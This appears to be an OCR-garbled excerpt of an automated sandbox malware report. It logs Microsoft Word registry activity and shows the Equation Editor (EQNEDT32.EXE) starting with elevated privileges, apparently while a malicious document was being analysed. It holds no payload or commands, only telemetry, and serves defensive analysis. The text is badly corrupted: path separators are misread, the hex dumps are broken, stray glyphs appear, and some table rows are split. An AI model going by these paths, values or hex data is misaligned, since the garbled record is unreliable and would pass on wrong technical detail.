| HKEY_CURRENT_USERISoftwarelMic rosoftl\|Officel14.01WordIResili ency|DocumentRecoverylF786B | F786B | binary | 04000000 2C 050000 2A 00000043 00 3A 00 5C 005500730065007200 7300 5C 004100 6C 006200750073 005 C 0041007000700044006100 74006100 5C 00 4C 00 6F 00630061 00 6C 00 5C 0054006500 6D 007000 5C 006900 6D 0067007300 2E 0068 007400 6D 00040000006900 6D 00 67007300000000000100000000 000000 AD 51 CF E4 FA 09 D7 01 6B 780 F 00 6B 780 OF 0000000000 DB 04 00000200000000000000000000 00000000000000000000000000 FF FF FF FF 000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 | success or wait | 1 | 7FEE90A9AC0 | unknown |


| Key Path | Name | Type | 00000000000000000000000000 BGBP 0000000000000000000000 | Completion | Count | Source | Symbol |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| Key |  |  | 00000000000000000000000000 | Completion |  |  | Symbol |
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|  |  |  |  |  |  |  |  |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01WordIPlace MRU | Max Display | dword | 25 | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwareIMic rosoftlofficel14.01Wordlfile mru | Max Display | dword | 25 | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 1 | unicode | [F00000000][T01D1BB6D4B429860] [000000000]*C:IUsersluserlDesk topl6516896632.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 2 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl9713424497.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 3 | unicode | [F00000000][T01D1BB6D4B429860] [000000000]*C:IUsersluserIDesk topl0887538035.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 4 | unicode | [F00000000][T01D1BB6D4B429860] [000000000]*C:IUsersluserlDesk topl8416751812.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 5 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl3580751004.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |


| Key Path | Name | Type | Data | Completion | Count | Source <br> Address | Symbol |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| HKEY_CURRENT_USERISoftwareIMic rosoftlofficel14.01Wordlfile mru | Item 6 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl5367203117.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 7 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl3764832265.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 8 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl3013890265.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwareIMic rosoftlofficel14.01Wordlfile mru | Item 9 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl0615447233.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 10 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk top\4144085054.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 11 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl2109793820.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 12 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk top 1417002460. docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 13 | unicode | [F00000000][T01D1BB6D4B429860] [000000000]*C:IUsersluserlDesk topl1387277564.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwareIMic rosoftlofficel14.01Wordlfile mru | Item 14 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl9281004682.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 15 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl1169381505.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwareIMic rosoftlofficel14.01Wordlfile mru | Item 16 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl9801086636.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwareIMic rosoftlofficel14.01Wordlfile mru | Item 17 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl7838756049.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 18 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl8416181845.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 19 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl2874006916.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 20 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl9369051781.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01WordIPlace MRU | Max Display | dword | 25 | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Max Display | dword | 25 | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 1 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl6516896632.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 2 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl9713424497.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 3 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl0887538035.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwareIMic rosoftlofficel14.01Wordlfile mru | Item 4 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl8416751812.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 5 | unicode | [F00000000][T01D1BB6D4B429860] [000000000]*C:IUsersluserlDesk topl3580751004.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 6 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl5367203117.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwareIMic rosoftlofficel14.01Wordlfile mru | Item 7 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl3764832265.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 8 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl3013890265.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlofficel14.01Wordlfile mru | Item 9 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl0615447233.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |


| Key Path | Name | Type | Data | Completion | Count | Source <br> Address | Symbol |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| HKEY_CURRENT_USERISoftwarelMic rosoftlOfficel14.0IWordlfile mru | Item 10 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk top\4144085054.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlOfficel14.0\Wordlfile mru | Item 11 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl2109793820.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlOfficel14.0\Wordlfile mru | Item 12 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl1417002460.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlOfficel14.0IWordlfile mru | Item 13 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl1387277564.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlOffice\14.0IWordlfile mru | Item 14 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl9281004682.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlOfficel14.0IWordlfile mru | Item 15 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk top\1169381505.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlOfficel14.0IWordlfile mru | Item 16 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl9801086636.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlOfficel14.0IWordlfile mru | Item 17 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl7838756049.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlOfficel14.0IWordlfile mru | Item 18 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl8416181845.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlOfficel14.0IWordlfile mru | Item 19 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl2874006916.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMic rosoftlOfficel14.0\Wordlfile mru | Item 20 | unicode | [F00000000][T01D1BB6D4B429860] [O00000000]*C:IUsersluserlDesk topl9369051781.docx | success or wait | 1 | 7FEE90A9AC0 | unknown |

Key Value Modified

| Key Path | Name | Type | Old Data | New Data | Completion | Count | Source <br> Address | Symbol |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| HKEY_LOCAL_MACHINEISOFT WAREIMi crosoftlWindowslCurrentVersion IInstallerlUserDatalS-1-5-18\P roductsl00004109D30000000100 000000F01FECIUsage | ProductFiles | dword | 1381433390 | 1381433391 | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_LOCAL_MACHINEISOFT | ProductFiles | dword | 1381433391 | 1381433392 | success or wait | 1 | 7FEE90A9AC0 | unknown | WAREIMi

crosoftlWindowslCurrentVersion
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| Key Path | Name | Type |
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0000000000000000000000000000000000000000 OీdDిీAR0 000000000000 RRAMDAt 0000000000000 Completion 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 00000000000000 FF FF 000000000000 FF FF FF FF FF 00 FF 04000000 2C 050000 2A 04000000 2C 050000 2A 0000004300 3A 00 5C $00 \quad 0000004300$ 3A 00 5C 00 5500730065007200730055007300650072007300 5C 004100 6C 00620075 5C 004100 6C 00620075 $0073005 \mathrm{C} 0041007000 \quad 0073005 \mathrm{C} 0041007000$ 7000440061007400610070004400610074006100 5C 00 4C 00 6F 00630061 5C 00 4C 00 6F 00630061 $006 \mathrm{C} 005 \mathrm{C} 0054006500 \quad 006 \mathrm{C} 005 \mathrm{C} 0054006500$ 6D 007000 5C 006900 6D 6D 007000 5C 006900 6D 0067007300 2E 006800740067007300 2E 00680074 00 6D 0004000000690000 6D 00040000006900 6D $0067007300000000 \quad 6 D 0067007300000000$ 00010000000000000000000100000000000000 00000000000000 6B 78 D0 80 E9 E4 FA 09 D7 01 6B 0F 00 6B 78 OF $00000000 \quad 78$ OF 00 6B 780 OF 000000 00 DB 040000020000000000 DB 040000020000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 FF FF FF FF $0000000000 \quad 00$ FF FF FF FF 00000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000
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| Key Path | Name | Type | OीवDిఇ\&00 000000000000 00000000000000000000 | Remppat@0 000000000000 00000000000000000000 | Completion | Count | Address | Symbol |
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Analysis Process: EQNEDT32.EXE PID: 2504 Parent PID: 584

| General |  |  |  |  |  |  |  |  |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| Start time: |  | 07:44:35 |  |  |  |  |  |  |
| Start date: |  | 23/02/2021 |  |  |  |  |  |  |
| Path: |  | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE |  |  |  |  |  |  |
| Wow64 process (32bit): |  | true |  |  |  |  |  |  |
| Commandline: |  | 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding |  |  |  |  |  |  |
| Imagebase: |  | 0x400000 |  |  |  |  |  |  |
| File size: |  | 543304 bytes |  |  |  |  |  |  |
| MD5 hash: |  | A87236E214F6D42A65F5DEDAC816AEC8 |  |  |  |  |  |  |
| Has elevated privileges: |  | true |  |  |  |  |  |  |
| Has administrator privileges: |  | true |  |  |  |  |  |  |
| Programmed in: |  | C, C++ or other language |  |  |  |  |  |  |
| Reputation: |  | high |  |  |  |  |  |  |
| File Activities |  |  |  |  |  |  |  |  |
| File Path | Access |  | Attributes | Options | Completion | Count | Source <br> Address | Symbol |
| File Path |  |  | Offset |  | Completion | Count | Source <br> Address | Symbol |

## Registry Activities



## General

| Start time: |  |  |  | 07:44:54 |  |  |  |  |  |  |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| Start date: |  |  |  | 23/02/2021 |  |  |  |  |  |  |
| Path: |  |  |  | C:IProgram Files\Common FilesIMicrosoft Shared\EQUATION\EQNEDT32.EXE |  |  |  |  |  |  |
| Wow64 process (32bit): |  |  |  |  |  |  |  |  |  |  |
| Commandline: |  |  |  | 'C:IProgram Files\Common Files\Microsoft Shared\EQUATIONIEQNEDT32.EXE' -Embedding |  |  |  |  |  |  |
| Imagebase: |  |  |  | $0 \times 400000$ |  |  |  |  |  |  |
| File size: |  |  |  | 543304 bytes |  |  |  |  |  |  |
| MD5 hash: |  |  |  | A87236E214F6D42A65F5DEDAC816AEC8 |  |  |  |  |  |  |
| Has elevated privileges: |  |  |  | true |  |  |  |  |  |  |
| Has administrator privileges: |  |  |  | true |  |  |  |  |  |  |
| Programmed in: |  |  |  | C, C++ or other language |  |  |  |  |  |  |
| Reputation: |  |  |  | high |  |  |  |  |  |  |
| File Activities |  |  |  |  |  |  |  |  |  |  |
| File Path |  |  |  |  | Offset | Length | Completion | Count | Source <br> Address | Symbol |
| Registry Activities |  |  |  |  |  |  |  |  |  |  |
| Key Path | Name | Type | Old Data |  | New Data |  | Completion | Count | Source <br> Address | Symbol |

## Disassembly

